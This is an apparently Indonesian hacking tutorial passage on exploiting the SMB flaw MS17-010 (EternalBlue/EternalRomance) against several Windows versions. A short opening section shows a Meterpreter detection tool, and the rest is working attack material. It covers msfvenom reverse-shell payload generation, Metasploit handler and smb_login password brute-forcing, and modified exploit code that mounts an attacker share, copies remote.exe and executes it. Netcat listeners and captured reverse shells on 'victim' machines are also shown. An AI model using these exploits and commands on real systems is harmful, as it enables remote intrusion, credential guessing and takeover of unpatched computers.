05:14:16.7028528 : 904 WmiPrvSE  is OK
05:14:16.7429104 : 272 smss  is OK
```

Untuk mematikan proses meterpreter ketik di command prompt : tasklist /F /PID 2796 lalu enter

```
C:\Windows\system32>exit
exit
meterpreter > sysinfo
Computer        : WINDOWS7-PC
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x86
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/win32
meterpreter > sysinfo
Computer        : WINDOWS7-PC
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x86
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/win32
meterpreter >
[*] 192.168.1.58 - Meterpreter session 1 closed.  Reason: Died
```

Hasilnya meterpreter di target berhenti

```
C:\msfdetect>Meterpreter_Payload_Detection IPS

[#] Meterpreter Payload Detection
[#] IDS-IPS Version: 1.0.0.5
[#] Console version Published by Damon Mohammadbagher
[#] API code and Meterpreter Signature by Rohan Vazarkar, David Bitner
[#] 2/8/2018 5:18:42 AM Started time
[#] IPS Mode [ON]

Scanning 36 process
05:18:42.6352800 : 1244 svchost  is OK
05:18:42.6753376 : 2392 FrzState2k  is OK
05:18:42.7153952 : 344 csrss  is OK
05:18:42.7554528 : 432 winlogon  is OK
05:18:42.7955104 : 608 svchost  is OK
05:18:42.8355680 : 512 lsm  is OK
05:18:42.8756256 : 776 svchost  is OK
05:18:42.9156832 : 864 svchost  is OK
05:18:42.9557408 : 1092 svchost  is OK
05:18:42.9957984 : 504 lsass  is OK
05:18:43.3963744 : 3592 iexplore  is OK
05:18:43.7669072 : 1748 Meterpreter_Payload_Detection  is OK
05:18:43.8069648 : 1480 svchost  is OK
05:18:43.9471664 : 500 taskhost  is OK
05:18:43.9872240 : 944 svchost  is OK
05:18:44.0873680 : 3968 conhost  is OK
05:18:44.1274256 : 1340 spoolsv  is OK
05:18:44.1674832 : 668 DFServ  is OK
05:18:44.2075408 : 2268 wmpnetwk  is OK
05:18:44.2475984 : 1376 svchost  is OK
05:18:45.3291536 : 1196 explorer  is OK
```

Contoh penggunaan IPS pada program Meterpreter Payload Detection

```
05:18:47.0616448 : 4 System  is OK
05:18:47.1017024 : 0 Idle  is OK
05:18:48.1131568 : 1748 Meterpreter_Payload_Detection  is OK

05:19:39.8074896
        Warning : Meterpreter Process Found in Memory !!!

        Infected Memory bytes :
        Process BaseAddress :  1048576
        8C-8B-9B-9E-8F-96-A0-8C-86-8C-A0-8F-8D-90-9C-9A-8C-8C-A0-98-
        9A-8B-8F-96-9B-FF-FF-FF-8C-8B-9B-9E-8F-96-A0-8C-86-8C-A0-8F-
        8D-90-9C-9A-8C-8C-A0-98-9A-8B-A0-96-91-99-90-FF-8C-8B-9B-9E-
        8F-96-A0-8C-86-8C-A0-8F-8D-90-9C-9A-8C-8C-A0-88-9E-96-8B-FF-
        8C-8B-9B-9E-8F-96-A0-8C-86-8C-A0-8F-8D-90-9C-9A-8C-8C-A0-96-

        Process Arguments :
        Process EntryPointAddress :  1054604
        Infected Process: rundll32 :  1816
        rundll32.exe
                Process Thread ID: 1088
                   Tid StartAddress: 0
                Process Thread ID: 1088 with StartAddress: 0 Killed
                Process Thread ID: 2908
                   Tid StartAddress: 1995337880
                Process Thread ID: 2744
                   Tid StartAddress: 1995337880
        Infected Process should be killed : rundll32
        Infected Process path : C:\Windows\system32\rundll32.exe
05:19:45.7560432 : 3748 WmiPrvSE  is OK


[#] Meterpreter Payload Detection
[#] IDS-IPS Version: 1.0.0.5
[#] Console version Published by Damon Mohammadbagher
[#] API code and Meterpreter Signature by Rohan Vazarkar, David Bitner
[#] 2/8/2018 5:19:47 AM Started time
[#] IPS Mode [ON]

Scanning 38 process
05:19:47.1680736 : 1244 svchost  is OK
05:19:47.2081312 : 2392 FrzState2k  is OK
```

Ketika eksploitasi dengan payload meterpreter terjadi, di program mendeteksinya dan memberhentikan payload secara otomatis

```
msf exploit(eternalblue_doublepulsar) > exploit

[*] Started reverse TCP handler on 192.168.1.29:4444
[*] Generating Eternalblue XML data
[*] Generating Doublepulsar XML data
[*] Generating payload DLL for Doublepulsar
[*] Writing DLL in /root/.wine/drive_c/eternal11.dll
[*] Launching Eternalblue...
[+] Backdoor is already installed
[*] Launching Doublepulsar...
[*] Sending stage (957487 bytes) to 192.168.1.58
[*] Meterpreter session 2 opened (192.168.1.29:4444 -> 192.168.1.58:49228) at
[+] Remote code executed... 3... 2... 1...

meterpreter >
meterpreter > sysinfo
[-] Error running command sysinfo: Rex::TimeoutError Operation timed out.
meterpreter > shell
[-] Error running command shell: Rex::TimeoutError Operation timed out.
meterpreter > ls
[-] Error running command ls: Rex::TimeoutError Operation timed out.
meterpreter >
[*] 192.168.1.58 - Meterpreter session 2 closed.  Reason: Died

msf exploit(eternalblue_doublepulsar) >
```

Hasilnya seperti di atas

Materi sisipan

Jika Windows 7 tidak bisa dihack SMB nya dengan celah yang ada di MS17-010

SMB Windows 7 tidak bisa dihack dengan celah MS17-010 karena sudah diupdate, cara ceknya bisa lihat di sini, selain pakai tool pemeriksaan dengan scanner dari metasploit

Jika sudah update Maret 2017 biasanya tidak jalan, alasannya :

Hal yang kedua adalah bisa juga karena port 445 ditutup

Jika di set Public Network dan firewall menyala semua, dan port 445 juga tidak dibuka maka tidak bisa dihack.

Materi sisipan

Hacking SMB pada Windows Server 2008 R2

```
root@kalidata:/home/databr3/MS17-010-master/exploits/eternalblue# msfvenom -p wi
ndows/x64/shell/reverse_tcp LHOST=192.168.1.29 LPORT=4444 -b "\x00" -f raw >> te
sting3
No platform was selected, choosing Msf::Module::Platform::Windows from the paylo
ad
No Arch selected, selecting Arch: x86_64 from the payload
Found 2 compatible encoders
Attempting to encode payload with 1 iterations of generic/none
generic/none failed with Encoding failed due to a bad character (index=7, char=0
x00)
Attempting to encode payload with 1 iterations of x64/xor
x64/xor succeeded with size 551 (iteration=0)
x64/xor chosen with final size 551
Payload size: 551 bytes

root@kalidata:/home/databr3/MS17-010-master/exploits/eternalblue# python3 eterna
lblue.py 192.168.1.55 testing3
connect 1.7489999208919471e-06
send 0.005058986999983972
```

msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.1.29 LPORT=4444 -b “\x00” -f raw >> testing3

```
Press ENTER to size up the situation
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Date: April 25, 1848 %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Weather: It's always cool in the lab %%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Health: Overweight %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Caffeine: 12975 mg %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Press SPACE BAR to continue

Tired of typing 'set RHOSTS'? Click & pwn with Metasploit Pro
Learn more on http://rapid7.com/metasploit
=[ metasploit v4.11.5-2016010401                   ]
+ -- --=[ 1517 exploits - 875 auxiliary - 257 post        ]
+ -- --=[ 437 payloads - 37 encoders - 8 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > use exploit/multi/handler
```

use exploit/multi/handler

set payload windows/x64/shell/reverse_tcp

set lhost 192.168.1.29

set lport 4444

exploit

Di shell bash kali linux : python3 eternalblue.py 192.168.1.55

Untuk patch nya :

http://www.catalog.update.microsoft.com/search.aspx?q=kb4012212

Materi sisipan

Scanning untuk mendeteksi celah SMB MS17-10 pada Windows

```
File  Edit  View  Search  Terminal  Help

       =[ metasploit v4.16.6-dev                          ]
+ -- --=[ 1683 exploits - 964 auxiliary - 297 post        ]
+ -- --=[ 498 payloads - 40 encoders - 10 nops            ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > use auxiliary/scanner/smb/smb_ms17_010
msf auxiliary(smb_ms17_010) > set RHOSTS 192.168.1.129
RHOSTS => 192.168.1.129
msf auxiliary(smb_ms17_010) > run

[+] 192.168.1.129:445     - Host is likely VULNERABLE to MS17-010!  (Windows 8.1
 Pro 9600)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(smb_ms17_010) > set RHOSTS 192.168.1.128
RHOSTS => 192.168.1.128
msf auxiliary(smb_ms17_010) > run

[-] 192.168.1.128:445     - Host does NOT appear vulnerable.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(smb_ms17_010) >
```

use auxiliary/scanner/smb/smb_ms17_010

set RHOSTS iptarget

run

Materi sisipan

Hacking smb Windows 8.1 untuk mengakses shell command prompt

Exploit bisa didownload di https://github.com/worawit/MS17-010/blob/master/zzz_exploit.py

Untuk lebih lengkapnya ada di https://github.com/worawit/MS17-010

Rename file zzz_exploit.py sesuai dengan nama yang anda inginkan atau bisa tetap pakai nama zzz_exploit.py

Edit file tersebut seperti di bawah ini

```
File  Edit  View  Search  Terminal  Help
  GNU nano 2.8.7                    File: hackwin81.py

- Windows 2008 SP1 x86
- Windows 2003 SP2 x86
- Windows XP SP3 x86
- Windows 2000 SP4 x86
'''

USERNAME = 'Administrator'
PASSWORD = ''

'''
A transaction with empty setup:
- it is allocated from paged pool (same as other transacti
- it is allocated from private heap (RtlAllocateHeap()) wi
- no lookaside or caching method for allocating it

Note: method name is from NSA eternalromance

For Windows 7 and later, it is good to use matched pair me
for freed pool from large pool). Additionally, the exploit
```

Isi username Administrator dan tanpa password jika kondisinya seperti di bawah ini

Akses smb target

Muncul pesan tidak dapat diakses

Ketika korban akan melakukan share maka korban klik Change advanced sharing setting

Lalu korban pilih Turn off password protected sharing lalu Save changes

Saat di Turn off password protected sharing maka folder yang disharing dapat diakses

Pertanyaan berikutnya bagaimana untuk hack jika folder tidak di share seperti di atas, tapi kondisinya tidak dipassword accountnya seperti di bawah ini maka tidak bisa dihack.

Jika target diberikan password maka baru bisa dihack jika mengetahui passwordnya, salah satu metodenya untuk itu adalah menggunakan brute force.

```
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > search smb_login
[!] Module database cache not built yet, using slow search

Matching Modules
================

   Name                                     Disclosure Date  Rank    Description
   ----                                     ---------------  ----    -----------
   auxiliary/scanner/smb/smb_login                           normal  SMB Login Check Scanner


msf > use auxiliary/scanner/smb/smb_login
msf auxiliary(smb_login) > set USER_FILE /home/user.txt
USER_FILE => /home/user.txt
```

search smb_login

use auxiliary/scanner/smb_login

set USER_FILE /home/user.txt

```
msf auxiliary(smb_login) > set PASS_FILE /home/pass.txt
PASS_FILE => /home/pass.txt
msf auxiliary(smb_login) > set RHOSTS 192.168.1.129
RHOSTS => 192.168.1.129
msf auxiliary(smb_login) > exploit

[*] 192.168.1.129:445      - 192.168.1.129:445 - Starting SMB login bruteforce
[*] 192.168.1.129:445      - 192.168.1.129:445 -
[*] 192.168.1.129:445      - 192.168.1.129:445 - Correct credentials, but unable to login: '.\Administrator:12345
6',
[!] 192.168.1.129:445      - No active DB -- Credential data will not be saved!
[*] 192.168.1.129:445      - 192.168.1.129:445 - Correct credentials, but unable to login: '.\Administrator:baseb
all',
[*] 192.168.1.129:445      - 192.168.1.129:445 - Correct credentials, but unable to login: '.\Administrator:12345
',
[-] 192.168.1.129:445      - 192.168.1.129:445 - Failed: '.\Guest:123456',
[-] 192.168.1.129:445      - 192.168.1.129:445 - Failed: '.\Guest:baseball',
[-] 192.168.1.129:445      - 192.168.1.129:445 - Failed: '.\Guest:12345',
[*] 192.168.1.129:445      - 192.168.1.129:445 - Correct credentials, but unable to login: '.\windows10:123456',
[*] 192.168.1.129:445      - 192.168.1.129:445 - Correct credentials, but unable to login: '.\windows10:baseball'
,
[*] 192.168.1.129:445      - 192.168.1.129:445 - Correct credentials, but unable to login: '.\windows10:12345',
[*] 192.168.1.129:445      - 192.168.1.129:445 - Correct credentials, but unable to login: '.\admin:123456',
[*] 192.168.1.129:445      - 192.168.1.129:445 - Correct credentials, but unable to login: '.\admin:baseball',
[*] 192.168.1.129:445      - 192.168.1.129:445 - Correct credentials, but unable to login: '.\admin:12345',
[-] 192.168.1.129:445      - 192.168.1.129:445 - Failed: '.\data:123456',
[+] 192.168.1.129:445      - 192.168.1.129:445 - Success: '.\data:baseball'
[*] 192.168.1.129:445      - 192.168.1.129:445 - Domain is ignored for user: data
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

set PASS_FILE /home/pass.txt

set rhosts 192.168.1.129

exploit

```
def smb_pwn(conn, arch):
        smbConn = conn.get_smbconnection()

        print('creating file c:\\pwned.txt on the target')
        tid2 = smbConn.connectTree('C$')
        fid2 = smbConn.createFile(tid2, '/pwned.txt')
        service_exec(conn, r'cmd /c net use x: \\192.168.1.9\modul /u:kurniawan baseball')
        service_exec(conn, r'cmd /c copy x:\remote.exe c:\Users\Public\Downloads')
        service_exec(conn, r'cmd /c net use x: /delete')
        service_exec(conn, r'cmd /c c:\Users\Public\Downloads\remote.exe')
        smbConn.closeFile(tid2, fid2)
        smbConn.disconnectTree(tid2)
```

Edit seperti di atas, sesuaikan dengan apa yang anda share di komputer anda, masukkan program exe hasil dari payload Hercules di sini

Contohnya file remote.exe di folder modul yang telah dishare

Pastikan anda tahu user account dan passwordnya di komputer anda

```
root@kalibr: ~/MS17-010-master
File  Edit  View  Search  Terminal  Help
root@kalibr:~/MS17-010-master# nc -v -l -p 4444
listening on [any] 4444 ...
```

nc -v -l -p 4444

```
root@kalibr:~/MS17-010-master# nano hackwin81.py
root@kalibr:~/MS17-010-master# python mysmb.py
root@kalibr:~/MS17-010-master# python hackwin81.py 192.168.1.129
Target OS: Windows 8.1 Pro 9600
Using named pipe: samr
Target is 32 bit
Got frag size: 0x10
GROOM_POOL_SIZE: 0x5020
BRIDE_TRANS_SIZE: 0xfc0
CONNECTION: 0xd3a0b928
SESSION: 0xd1a15dc8
FLINK: 0xda53b058
InParam: 0xda3f10e4
MID: 0x2903
unexpected alignment, diff: 0x149058
leak failed... try again
CONNECTION: 0xd3a0b928
SESSION: 0xd1a15dc8
FLINK: 0xda5f8058
InParam: 0xda56f0e4
MID: 0x2903
unexpected alignment, diff: 0x88058
leak failed... try again
CONNECTION: 0xd3a0b928
SESSION: 0xd1a15dc8
```

python mysmb.py

python hackwin81.py 192.168.1.129

```
root@kalibr:~/MS17-010-master# nc -v -l -p 4444
listening on [any] 4444 ...
192.168.1.129: inverse host lookup failed: Unknown host
connect to [192.168.1.101] from (UNKNOWN) [192.168.1.129] 2640
MID: 0xe03
Success controlling groom transaction
modify trans1 struct
make this SMB session
overwriting session security context
creating file lsdpnd.txt
Opening SVCManager on 192.168.1.129.....
Creating service zUQk.....
############################ HERCULES REVERSE SHELL ############################
# SYSGUIDE
Microsoft Windows [Version 6.3.9600]
Opening SVCManager on 192.168.1.129.....
Creating service QgTO.....
~> User : PCWINDOWS$
~> AV : Windows Defender
Opening SVCManager on 192.168.1.129.....
Creating service vDEh.....
Starting service vDEh.....
Removing service vDEh.....
c:\Users\Public\Downloads>ipconfig
```

Hasilnya seperti di atas

Materi sisipan

Hacking smb Windows 10 untuk mengakses shell command prompt

Exploit bisa didownload di https://github.com/worawit/MS17-010/blob/master/zzz_exploit.py

Untuk lebih lengkapnya ada di https://github.com/worawit/MS17-010

Rename file zzz_exploit.py sesuai dengan nama yang anda inginkan atau bisa tetap pakai nama zzz_exploit.py

Edit file tersebut seperti di bawah ini

Isi username Administrator dan tanpa password jika kondisinya seperti di bawah ini

Akses smb target

Muncul pesan seperti di atas

Ketika korban akan melakukan share maka korban klik Change advanced sharing setting

Lalu korban pilih Turn off password protected sharing lalu Save changes

Saat di Turn off password protected sharing maka folder yang disharing dapat diakses

Pertanyaan berikutnya bagaimana untuk hack jika folder tidak di share seperti di atas, tapi kondisinya tidak dipassword accountnya seperti di bawah ini maka tidak bisa dihack.

Jika target diberikan password maka baru bisa dihack jika mengetahui passwordnya, salah satu metodenya untuk itu adalah menggunakan brute force.

```
       =[ metasploit v4.16.6-dev                          ]
+ -- --=[ 1683 exploits - 964 auxiliary - 297 post         ]
+ -- --=[ 498 payloads - 40 encoders - 10 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > search smb_login
[!] Module database cache not built yet, using slow search

Matching Modules
================

   Name                                Disclosure Date  Rank    Description
   ----                                ---------------  ----    -----------
   auxiliary/scanner/smb/smb_login                      normal  SMB Login Check Scanner


msf > use auxiliary/scanner/smb/smb_login
msf auxiliary(smb_login) > set USER_FILE /home/user.txt
USER_FILE => /home/user.txt
```

use auxiliary/scanner/smb/smb_login

set USER_FILE /home/user.txt

File user.txt bisa diisi kemungkinan username yang dipakai bisa mencoba diisi nama orangnya yang jadi target, atau bisa juga nama komputer yang bisa diketahui dengan tool nbtscan

```
msf auxiliary(smb_login) > set PASS_FILE /home/pass.txt
PASS_FILE => /home/pass.txt
msf auxiliary(smb_login) > set RHOSTS 192.168.1.159
RHOSTS => 192.168.1.159
msf auxiliary(smb_login) > exploit

[*] 192.168.1.159:445     - 192.168.1.159:445 - Starting SMB login bruteforce
[*] 192.168.1.159:445     - 192.168.1.159:445 -
[-] 192.168.1.159:445     - 192.168.1.159:445 - Failed: '.\Administrator:123456',
[!] 192.168.1.159:445     - No active DB -- Credential data will not be saved!
[-] 192.168.1.159:445     - 192.168.1.159:445 - Failed: '.\Administrator:baseball',
[-] 192.168.1.159:445     - 192.168.1.159:445 - Failed: '.\Administrator:12345',
[-] 192.168.1.159:445     - 192.168.1.159:445 - Failed: '.\Guest:123456',
[-] 192.168.1.159:445     - 192.168.1.159:445 - Failed: '.\Guest:baseball',
[-] 192.168.1.159:445     - 192.168.1.159:445 - Failed: '.\Guest:12345',
[-] 192.168.1.159:445     - 192.168.1.159:445 - Failed: '.\windows10:123456',
[+] 192.168.1.159:445     - 192.168.1.159:445 - Success: '.\windows10:baseball'
[*] 192.168.1.159:445     - 192.168.1.159:445 - Domain is ignored for user windows10
[-] 192.168.1.159:445     - 192.168.1.159:445 - Failed: '.\admin:123456',
[-] 192.168.1.159:445     - 192.168.1.159:445 - Failed: '.\admin:baseball',
[-] 192.168.1.159:445     - 192.168.1.159:445 - Failed: '.\admin:12345',
[-] 192.168.1.159:445     - 192.168.1.159:445 - Failed: '.\data:123456',
[-] 192.168.1.159:445     - 192.168.1.159:445 - Failed: '.\data:baseball',
[-] 192.168.1.159:445     - 192.168.1.159:445 - Failed: '.\data:12345',
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(smb_login) >
```

set PASS_FILE /home/pass.txt

file password bisa mengambil dari smalldict.txt dari kali linux, atau bisa juga dibuat sendiri

set RHOSTS 192.168.1.159

exploit

Tapi jika misalnya targetnya diberikan password tapi kondisinya di share tanpa password maka bisa dihack dengan username administrator dan password tidak perlu diisi.

```
ef smb_pwn(conn, arch):
        smbConn = conn.get_smbconnection()

        print('creating file c:\\pwned.txt on the target')
        tid2 = smbConn.connectTree('C$')
        fid2 = smbConn.createFile(tid2, '/pwned.txt')
        service_exec(conn, r'cmd /c net use z: \\192.168.1.9\modul /u:kurniawan baseball')
        service_exec(conn, r'cmd /c copy z:\remote.exe c:\Users\Public\Downloads')
        service_exec(conn, r'cmd /c net use z: /delete')
        service_exec(conn, r'cmd /c c:\Users\Public\Downloads\remote.exe')
        smbConn.closeFile(tid2, fid2)
        smbConn.disconnectTree(tid2)

        #smb_send_file(smbConn, sys.argv[0], 'C', '/exploit.py')
        #service_exec(conn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt')
```

Edit seperti di atas, sesuaikan dengan apa yang anda share di komputer anda, masukkan program exe hasil dari payload Hercules di sini

Contohnya file remote.exe di folder modul yang telah dishare

Pastikan anda tahu username account dan passwordnya di komputer anda

```
root@kalibr: ~/MS17-010-master
File  Edit  View  Search  Terminal  Help
root@kalibr:~/MS17-010-master# nc -v -l -p 4444
listening on [any] 4444 ...
```

nc -v -l -p 4444

```
root@kalibr:~/MS17-010-master# python hackwin10.py 192.168.1.159
Target OS: Windows 10 Enterprise 10240
Using named pipe: samr
Target is 32 bit
Got frag size: 0x10
GROOM_POOL_SIZE: 0x5020
BRIDE_TRANS_SIZE: 0xfc0
CONNECTION: 0x86cab650
SESSION: 0x9dc81488
FLINK: 0xa447f058
InParam: 0xa44d40e4
MID: 0x3d03
unexpected alignment, diff: 0x-55fa8
leak failed... try again
CONNECTION: 0x86cab650
SESSION: 0x9dc81488
FLINK: 0xa44eb058
InParam: 0xa44e50e4
MID: 0x3e03
success controlling groom transaction
modify trans1 struct for arbitrary read/write
make this SMB session to be SYSTEM
overwriting session security context
```

python mysmb.py

python hackwin10.py 192.168.1.159

```
root@kalibr:~/MS17-010-master# nc -v -l -p 4444
listening on [any] 4444 ...
192.168.1.159: inverse host lookup failed: Unknown host
connect to [192.168.1.101] from (UNKNOWN) [192.168.1.159] 49429
Starting service pvAX.....
SCMR SessionError: code: 0x41d - ERROR_SERVICE_REQUEST_TIMEOUT - The service did not resp
trol request in a timely fashion.
Removing service pvAX.....
Opening SVCManager on 192.168.1.159.....
Creating service uRsB.....
Starting service uRsB.....
SCMR SessionError: code: 0x41d - ERROR_SERVICE_REQUEST_TIMEOUT - The service did not resp
########################## HERCULES REVERSE SHELL ##########################
# SYSGUIDE
|pening SVCManager on 192.168.1.159.....
Microsoft Windows [Version 10.0.10240]
|tarting service xwuM.....
|CMR SessionError: code: 0x41d - ERROR_SERVICE_REQUEST_TIMEOUT - The service did not resp
~> User : DESKTOP-CD3JGJF$
|emoving service xwuM.....
|pening SVCManager on 192.168.1.159.....
~> AV : Windows Defender
Starting service qJtP.....
The NETBIOS connection with the remote host timed out.
Removing service qJtP.....
ServiceExec Error on: 192.168.1.159
Unexpected answer from server: Got 46, Expected 47
Done
c:\Users\Public\Downloads>
```

Hasilnya seperti di atas

Materi sisipan

Hacking smb Windows Server 2012 untuk mengakses shell command prompt

Exploit bisa didownload di https://github.com/worawit/MS17-010/blob/master/zzz_exploit.py

Untuk lebih lengkapnya ada di https://github.com/worawit/MS17-010

Rename file zzz_exploit.py sesuai dengan nama yang anda inginkan atau bisa tetap pakai nama zzz_exploit.py

Edit file tersebut seperti di bawah ini

```
File  Edit  View  Search  Terminal  Help
  GNU nano 2.8.7                    File: hackwin2012.py

- Windows 2008 SP1 x86
- Windows 2003 SP2 x86
- Windows XP SP3 x86
- Windows 2000 SP4 x86
'''

USERNAME = 'Guest'
PASSWORD = ''

'''
A transaction with empty setup:
- it is allocated from paged pool (same as other transaction ty
- it is allocated from private heap (RtlAllocateHeap()) with no
- no lookaside or caching method for allocating it
```

Isi username Guest dan tanpa password jika kondisinya seperti yang sudah dijelaskan pada Windows 8.1 dan Windows 10.

```
ef smb_pwn(conn, arch):
        smbConn = conn.get_smbconnection()

        print('creating file c:\\pwned.txt on the target')
        tid2 = smbConn.connectTree('C$')
        fid2 = smbConn.createFile(tid2, '/pwned.txt')
        service_exec(conn, r'cmd /c net use z: \\192.168.1.9\modul /u:kurniawan baseball')
        service_exec(conn, r'cmd /c copy z:\remote.exe c:\Users\Public\Downloads')
        service_exec(conn, r'cmd /c net use z: /delete')
        service_exec(conn, r'cmd /c c:\Users\Public\Downloads\remote.exe')
        smbConn.closeFile(tid2, fid2)
        smbConn.disconnectTree(tid2)

        #smb_send_file(smbConn, sys.argv[0], 'C', '/exploit.py')
        #service_exec(conn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt')
```

Edit seperti di atas, sesuaikan dengan apa yang anda share di komputer anda, masukkan program exe hasil dari payload Hercules di sini

Organize New Open Select

This PC ▸ Local Disk (E:) ▸ modul

Name	Date modified	Type	Size
rekursif	6/9/2017 8:19 PM	Microsoft Word D...	88 KB
remote	12/17/2017 5:24 AM	Application	2,923 KB
reverse	9/19/2017 11:17 PM	PHP File	1 KB
rfi	1/17/2017 11:46 PM	Text Document	1 KB
scan	5/15/2017 10:11 AM	PY File	16 KB

Contohnya file remote.exe di folder modul yang telah dishare

Pastikan anda tahu username account dan passwordnya di komputer anda

nc -v -l -p 4444

python mysmb.py

python hackwin2012.py 192.168.1.104

Hasilnya seperti di atas

Materi sisipan

Hacking smb Windows Server 2016 untuk mengakses shell command prompt

Exploit bisa didownload di https://github.com/worawit/MS17-010/blob/master/zzz_exploit.py

Untuk lebih lengkapnya ada di https://github.com/worawit/MS17-010

Rename file zzz_exploit.py sesuai dengan nama yang anda inginkan atau bisa tetap pakai nama zzz_exploit.py

Edit file tersebut seperti di bawah ini

Isi username Guest dan tanpa password jika kondisinya seperti yang sudah dijelaskan pada Windows 8.1 dan Windows 10.

```
ef smb_pwn(conn, arch):
        smbConn = conn.get_smbconnection()

        print('creating file c:\\pwned.txt on the target')
        tid2 = smbConn.connectTree('C$')
        fid2 = smbConn.createFile(tid2, '/pwned.txt')
        service_exec(conn, r'cmd /c net use z: \\192.168.1.9\modul /u:kurniawan baseball')
        service_exec(conn, r'cmd /c copy z:\remote.exe c:\Users\Public\Downloads')
        service_exec(conn, r'cmd /c net use z: /delete')
        service_exec(conn, r'cmd /c c:\Users\Public\Downloads\remote.exe')
        smbConn.closeFile(tid2, fid2)
        smbConn.disconnectTree(tid2)

        #smb_send_file(smbConn, sys.argv[0], 'C', '/exploit.py')
        #service_exec(conn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt')
```

Edit seperti di atas, sesuaikan dengan apa yang anda share di komputer anda, masukkan program exe hasil dari payload Hercules di sini

Contohnya file remote.exe di folder modul yang telah dishare

Pastikan anda tahu username account dan passwordnya di komputer anda

```
root@kalibr: ~/MS17-010-master
File  Edit  View  Search  Terminal  Help
root@kalibr:~/MS17-010-master# nc -v -l -p 4444
listening on [any] 4444 ...
```

nc -v -l -p 4444

```
root@kalibr:~/MS17-010-master# python hackwin2016.py 192.168.1.105
Target OS: Windows Server 2016 Technical Preview 4 10586
Using named pipe: samr
Target is 64 bit
Got frag size: 0x20
GROOM_POOL_SIZE: 0x5030
BRIDE_TRANS_SIZE: 0xf90
CONNECTION: 0xffffe00138a81b90
SESSION: 0xffffc000c2b13dd0
FLINK: 0xffffc000bf71c048
InParam: 0xffffc000c199016c
MID: 0x3807
unexpected alignment, diff: 0x-2274fb8
leak failed... try again
CONNECTION: 0xffffe00138a81b90
SESSION: 0xffffc000c2b13dd0
FLINK: 0xffffc000bfbdc048
InParam: 0xffffc000c19b516c
MID: 0x3803
unexpected alignment, diff: 0x-1dd9fb8
leak failed... try again
```

python mysmb.py

python hackwin2016.py 192.168.1.105

```
File  Edit  View  Search  Terminal  Help

############################ HERCULES REVERSE SHELL ############################
# SYSGUIDE
|
Microsoft Windows [Version 10.0.10586]
|
|
 > User : WIN-92PI1ARONAI$
|
|
~> AV : Windows Defender

c:\Users\Public\Downloads>
```

Hasilnya seperti di atas

Materi sisipan

Hacking SMB Windows 10 dengan Metasploit

Update :

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \

chmod 755 msfinstall && \

./msfinstall

```
root@kali:/home# msfconsole

       =[ metasploit v4.16.37-dev-                        ]
+ -- --=[ 1734 exploits - 991 auxiliary - 300 post        ]
+ -- --=[ 509 payloads - 40 encoders - 10 nops            ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > use exploit/windows/smb/ms17_010_psexec
msf exploit(windows/smb/ms17_010_psexec) > set payload windows/meterpreter/rever
se_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(windows/smb/ms17_010_psexec) > set rhost 192.168.1.159
rhost => 192.168.1.159
```

msfconsole

use exploit/windows/smb/ms17_010_psexec

set payload windows/meterpreter/reverse_tcp

set rhost 192.168.1.159

```
msf exploit(windows/smb/ms17_010_psexec) > ifconfig
[*] exec: ifconfig

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.1.103  netmask 255.255.255.0  broadcast 192.168.1.255
        inet6 fe80::a00:27ff:fe79:a9fa  prefixlen 64  scopeid 0x20<link>
        ether 08:00:27:79:a9:fa  txqueuelen 1000  (Ethernet)
        RX packets 123514  bytes 178354345 (170.0 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 112204  bytes 8835634 (8.4 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 28  bytes 1618 (1.5 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 28  bytes 1618 (1.5 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

msf exploit(windows/smb/ms17_010_psexec) > set lhost 192.168.1.103
lhost => 192.168.1.103
msf exploit(windows/smb/ms17_010_psexec) > show options

Module options (exploit/windows/smb/ms17_010_psexec):

   Name                  Current Setting  Required  Description
   ----                  ---------------  --------  -----------
